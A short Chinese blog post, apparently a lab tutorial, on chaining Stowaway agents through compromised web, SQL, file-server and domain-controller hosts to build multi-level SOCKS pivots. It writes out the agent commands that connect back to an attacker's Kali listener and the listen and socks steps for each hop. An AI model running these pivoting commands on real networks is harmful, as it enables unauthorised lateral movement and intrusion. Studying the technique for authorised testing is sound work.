Stowaway搭建多级网络代理

如何组成多级代理?

假设现在有三层内网

56dc23eca6134e3f8c6edfcd4e138f1c

kali作为admin端

admin端: ./stowaway_admin -l 9999 -s 123 #admin端监听9999端口,连接密码为123

先拿下(web)192.168.139.222的入口机器的webshell,把它作为agent-1端

agent-1端: ./stowaway_agent -c 192.168.139.141:9999 -s 123 --reconnect 8 #agent-1端连接我的admin端的kali的9999端口,并设置重连间隔时间,当控制端掉线时客户端每隔8s重连控制

建立socks代理

admin端点:
use 0 #进入刚刚拿下的会话
socks 7777 admin admin #建立socks代理,端口为7777,账号密码为admin、admin

e9c3115feea63d5fe0708453aac1ea7d

通过proxifier连接控制端,访问第一层内网

image-20250728172550702

先拿下(sql)192.168.2.22这台机器的webshell,然后上传agent-2

admin端的(node 0)开个监听

listen #监听
10000 #监听端口为10000

f500acfdd23f6219430e5c1975d888bc

通过webshell,让(sql)机器主动连接 (web)机器 的10000端口

./stowaway_agent -c 192.168.2.11:10000 -s 123 --reconnect 8

此时控制端会立即显示新加入的节点 (node 1)

进入新的节点 (node 1)

admin端:
use 1
socks 7778 admin admin 建立socks代理

4c8f02086983a4c168763ed13322ce00

此时proxifier再添加代理服务器和代理规则即可访问第二层网路3.x

通过打点,拿下 (FILE) 192.168.3.22机器的webshell,传agent-3上去

admin端点:
use 1
listen 
7779

(FILE) 机器,

./stowaway_agent -c 192.168.3.11:7779 -s 123 --reconnect 8

拿下新的节点 (node 2)

admin端

use 2 
socks 8000 admin admin 建立socks代理

proxifile配置socks代理即可访问4.x网段

打点拿到 (DC)192.168.4.22机器后,上传agent-4

admin端

use 2
listen
8001

agent-3端

./stowaway_agent -c 192.168.4.11:8001 -s 123 --reconnect 8

成功拿下新的节点

posted @ 2025-08-07 23:38  破防剑客  阅读(670)  评论(0)    收藏  举报